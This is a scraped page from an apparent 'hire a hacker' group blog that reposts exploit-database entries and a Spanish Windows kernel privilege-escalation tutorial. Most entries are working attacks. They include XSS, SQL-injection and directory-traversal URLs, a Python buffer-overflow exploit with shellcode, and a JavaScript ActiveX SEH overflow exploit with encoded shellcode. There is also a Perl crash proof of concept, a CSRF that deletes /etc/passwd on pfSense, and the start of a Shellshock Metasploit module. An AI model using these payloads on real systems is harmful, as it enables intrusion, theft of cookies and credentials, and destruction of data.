Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863285372

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/51221/info

PHPB2B is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[patch]/list.php?do=search&q=[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/51227/info

FuseTalk Forums is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FuseTalk Forums 3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/login.cfm?windowed=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
HireHackking 
source: https://www.securityfocus.com/bid/51240/info

Tienda Virtual is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--
HireHackking 
source: https://www.securityfocus.com/bid/51241/info

The Comment Rating plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=
HireHackking 
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Mini-sream Ripper v2.7.7.100 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/43/Mini-streamRipper.exe?token=1427334864_8d9c5d7d948871f54ae14ed9304d1ddf&fileName=Mini-streamRipper.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Original POC:
#    http://www.exploit-db.com/exploits/11197/
#POC:
#IMG1:
#http://i.imgur.com/ifXYgwx.png
#IMG2:
#http://i.imgur.com/ZMisj6R.png
from struct import pack
file="crack.m3u"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
         "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
          "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
HireHackking 
source: https://www.securityfocus.com/bid/51316/info

DIGIT CMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DIGIT CMS 1.0.7 is vulnerable; other versions may also be affected.

http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli]
HireHackking 
source: https://www.securityfocus.com/bid/51312/info

IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.

Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition.

IPtools 0.1.4 is vulnerable; other versions may also be affected. 

Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability

Software : IpTools(Tiny TCP/IP server)

Software Version : 0.1.4

Vendor: http://iptools.sourceforge.net/iptools.html

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-01-07

Updated:

Impact : High

Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed]
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
mail: demonalex (at) 163 (dot) com [email concealed] / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed]
Pentester/Researcher
Dark2S Security Team/PolyU.HK
HireHackking 
source: https://www.securityfocus.com/bid/51311/info

IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.

http://www.example.com/..\..\boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
http://www.example.com/../../windows/system32/drivers/etc/hosts
HireHackking 
source: https://www.securityfocus.com/bid/51302/info

eFront is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Successfully exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

eFront 3.6.10 is vulnerable; other versions may also be affected.

http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file]
HireHackking

El kernel al ser el núcleo de cualquier sistema operativo, y la capa entre el hardware y software. Una explotación de este, deriva en que todo es ejecutado por el usuario SYSTEM (el usuario con mayor privilegios de todos en sistemas Windows).

El proceso para encontrar vulnerabilidades de kernel y explotarlas es aproximadamente el siguiente:

  1. Enumeramos la versión y parches de Windows –> systeminfo
  2. Buscamos exploits asociados a esa versión o parches
  3. Compilamos y ejecutamos –> No hace falta compilar si nos descargamos ya un exploit compilado

Hay que tener cuidado con los exploits de kernel, ya que suelen ser inestables, de un solo uso o que cause un crasheo del sistema. Por eso esta debe ser una de las últimas opciones para escalar privilegios.

Hay distintas herramientas que nos pueden ayudar a identificar este tipo de vulnerabilidades:

  • Windows Exploit Suggester Next Generation
  • Watson
  • En metasploit: windows/gather/enum_patches
  • Internet

Una vez enumerado que tipos de parches faltan o que vulnerabilidad afectan, podemos hacer uso de SecWiki, es un recurso que contiene una gran cantidad de exploits de kernel ya compilados.

Dicho esto, vamos con un caso práctico usando «Windows Exploit Suggester Next Generation»:

Lo primero de todo es obtener el systeminfo, esto incluye pasarlo a nuestra máquina Kali. Esta parte es sencilla, ya que lo podemos hacer en un solo paso. En nuestro Linux (en mi caso, kali) nos ejecutamos un servidor samba:

image

El argumento pwned es el nombre del recurso compartido, y el segundo argumento $(pwd) es la forma en la que le indicamos la ruta donde se ejecutará el servidor, en este caso, la ruta actual (también podríamos indicarlo con solo un punto).

Teniendo el servidor montado, nos dirigimos al Windows y simplemente redirigimos la salida del comando a nuestro servidor y recurso compartido:

image 1

Podemos confirmar que ha habido conexión si nos dirigimos al kali:

image 2

De esta forma, ya tenemos la salida del systeminfo:

image 3
image 4

Teniendo esto, vamos a hacer uso del «WESNG», lo primero es actualizar la base de datos de este. Es muy sencillo, simplemente lanzamos el siguiente comando:

image 5

Con esto, habrá actualizado el listado de CVEs.

El comando más básico de todos simplemente sería especificarle el archivo systeminfo:

image 6

Su salida es demasiado grande como para mostrarlo

image 7

Pero no pasa nada, vamos a usar algunos argumentos para solo ver lo que nos interesa. La estructura que sigue WESNG para mostrar cada CVE al cual puede ser vulnerable la máquina Windows, es la siguiente:

image 8

El campo que nos interesa es el Impact. Podemos ver los posibles valores de Impact usando grep y sort:

image 9

De esta forma, si nos fijamos, hay un valor de este campo que puede que sea por el que nos interese filtrar. Estoy hablando de «Elevation of Privilege», ya que es lo que queremos conseguir.

Sabiendo esto, podemos especificar a «WESNG» que solo nos muestre los CVE cuyo impacto sea una elevación de privilegios:

image 10

De esta forma, acabamos de pasar de 31883 líneas a:

image 11

Que siguen siendo muchas, pero ahora es trabajo nuestro encontrar el exploit a usar. Existe otro filtrado que quizás nos interese, ya que «WESNG» muestra algunos CVE sin «Exploits» (que OJO, no quiere decir que no haya, sino que al menos, no tiene ninguno asociado):

image 12

Si no nos interesa ver los CVEs los cuales no tengan ningún exploit asociado, podemos filtrar la búsqueda añadiendo el argumento --exploits-only:

image 13

Si vemos ahora el número de líneas, hemos bajado mucho más:

image 14

Hasta aquí posibles filtrados que nos puede interesar a la hora de buscar CVEs en «WESNG». Aun así, la herramienta tiene un panel de ayuda bastante completo y con muchas más opciones.

Llegados a este punto, ya dependerá de nosotros el exploit a escoger, con la experiencia habrá CVEs que nos suenen y vayamos al grano a probar esos según el sistema operativo. Esto ya se consigue con el tiempo y el esfuerzo.

En mi caso, voy a usar el «CVE-2019-1458», que ojo, el Windows 7 es vulnerable, y podemos encontrar exploits, sin embargo, «WESNG» indica que no tiene ninguno asociado, por lo que si hubiésemos usado el argumento --exploits-only, lo hubiese descartado, a pesar de ser vulnerable:

image 15

Habiendo localizado el CVE, vamos a dirigirnos a SecWiki para ver si tiene el exploit compilado:

image 17
image 16

En este caso, SecWiki, no tiene ningún exploit en el repositorio. Sin embargo, en el README.md nos indica otro repositorio el cual si contiene un exploit para este CVE:

image 18

Es típico que en los repositorios de exploits de escalación de privilegios se nos haga un PoC (Proof of Concept) del exploit:

image 19

En este caso, vemos dos cosas:

  1. El exploit solo se puede ejecutar una vez por cada inicio del sistema (esto nos puede indicar la inestabilidad resultante del exploit en el sistema).
  2. El exploit sigue la estructura de:
    1. cve-2019-1458.exe <comando a ejecutar>

Sabiendo esto y teniendo descargado el binario del exploit en el Windows 7:

image 20

Vamos a escalar privilegios.

Establecemos un servidor samba en nuestro kali, además de ponernos en escucha:

image 21

Nota: el directorio donde nos encontramos ejecutando el servidor samba, contiene el binario «nc.exe» (netcat para Windows)

Ahora, volvemos al Windows 7, y ejecutaremos el siguiente comando usando el exploit:

image 23

De esta forma, volviendo al kali:

image 25

Conseguimos shell como «nt authority\system».

En el repositorio se nos indicaba que solo era un exploit de un solo uso por cada inicio, podemos confirmarlo:

image 26

Es tal la inestabilidad de en este caso, este exploit (y en general, de los exploits que se aprovechan del kernel), que cuando apagamos la máquina nos sale lo siguiente:

image 27

Esto no pasa claramente con todos los exploits, pero sí que podemos observar la delicadeza de lidiar con el kernel.

Retomando las herramientas mencionadas al principio:

  • Windows Exploit Suggester Next Generation
  • Watson
  • En metasploit: windows/gather/enum_patches
  • Internet

Podemos usar la que más nos guste, Watson por ejemplo en este caso no nos da nada:

image 28

El módulo de metasploit también nos ayuda en esta tarea:

image 29

En este caso no nos da ningún output significativo. Si detectase alguna posible vulnerabilidad nos lo indicaría de la siguiente forma:

Metasploit - Patches Enumeration

Por último, pero no menos importante, otra herramienta a tener en cuenta es el propio internet.

Cuando ejecutamos systeminfo obtenemos la suficiente información como para buscar en Google alguna vulnerabilidad que afecte al Sistema Operativo y a la Versión:

image 30

De esta forma, aunque nos podamos ayudar de distintas herramientas, al final el trabajo manual y la propia investigación será lo que resulte en una escalada de privilegios exitosa.

HireHackking 
source: https://www.securityfocus.com/bid/51301/info

Astaro Security Gateway is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.

Astaro Security Gateway 8.1 is vulnerable; other versions may also be affected. 

<div style="left: 300px; top: 220px; z-index: 2000; visibility: visible;" class="iPopUp" id="iPopup_2"><div 

class="iPopUpTitle">Please confirm:</div><div class="iPopUpText"><p>&#8203;&#8203;&#8203;&#8203;&#8203;Are you sure 
that you want to delete the X509 certificate 

with private key object '>"<INCLUDED PERSISTENT SCRIPTCODE HERE!!!">'?</p></iframe></p></div><table border="0" 

cellpadding="0" cellspacing="0"><tbody><tr><td style="padding: 2px;"><div id="btnDefault_iPopup_2" class="button" 
style="width: 

auto; cursor: pointer; color: black; font-weight: bold;"><div class="button_left"></div><div class="button_center" 
style="width: 

auto;"><span style="font-weight: normal;">OK</span></div><div 
class="button_right"></div></div></td>&#8203;&#8203;&#8203;&#8203;&#8203;<td style="padding: 

2px;"><div class="button" style="width: auto; cursor: pointer; color: black;"><div class="button_left"></div><div 

class="button_center" style="width: auto;"><span style="font-weight: normal;">Cancel</span></div><div 

class="button_right"></div></div></td></tr></tbody></table></div>

        ../index.dat
HireHackking 
source: https://www.securityfocus.com/bid/51294/info
 
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. 

IE-only
http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
HireHackking 
source: https://www.securityfocus.com/bid/51294/info

SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. 

http://www.example.com/sqlite/main.php?dbsel=&#039;"</script><script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51293/info

VertrigoServ is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

VertrigoServ 2.25 is vulnerable; other versions may also be affected. 

http://www.example.com/inc/extensions.php?mode=extensions&ext=&#039;"</script><script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51291/info

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.

An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")
HireHackking 
<html>
<!--
# Exploit Title: WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (0 day)
# Date: 26th MArch, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Version: 1, 6, 42, 0
# Tested on: Windows XP SP3 (IE6/7/8)
# CVE : 2015-2097

targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
For full analysis of the exploit refer 
http://blog.disects.com/2015/03/webgate-edvr-manager.html
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>
HireHackking 
Advisory ID: HTB23251
Product: pfSense
Vendor: Electric Sheep Fencing LLC 
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Advisory Publication:  March 4, 2015  [without technical details]
Vendor Notification: March 4, 2015 
Vendor Patch: March 5, 2015 
Public Disclosure: March 25, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2015-2294, CVE-2015-2295
Risk Level: Medium 
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks.

Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface.


1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294

1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E


2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295

2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.

The following PoC code deletes file "/etc/passwd":

https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd


-----------------------------------------------------------------------------------------------

Solution:

Update to pfSense 2.2.1

More Information:
https://blog.pfsense.org/?p=1661

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23251 - https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
HireHackking 
# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61


##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

   def initialize(info = {})
    super(update_info(info,
      'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',
      'Description' => %q{
		This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.
		Affected products:
		All Turbo NAS models except TS-100, TS-101, TS-200
		},
      'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
      'License' => MSF_LICENSE,
      'References' => [
			['CVE', '2014-6271'], #aka ShellShock
			['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
		],
      'Platform'       => ['unix']
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
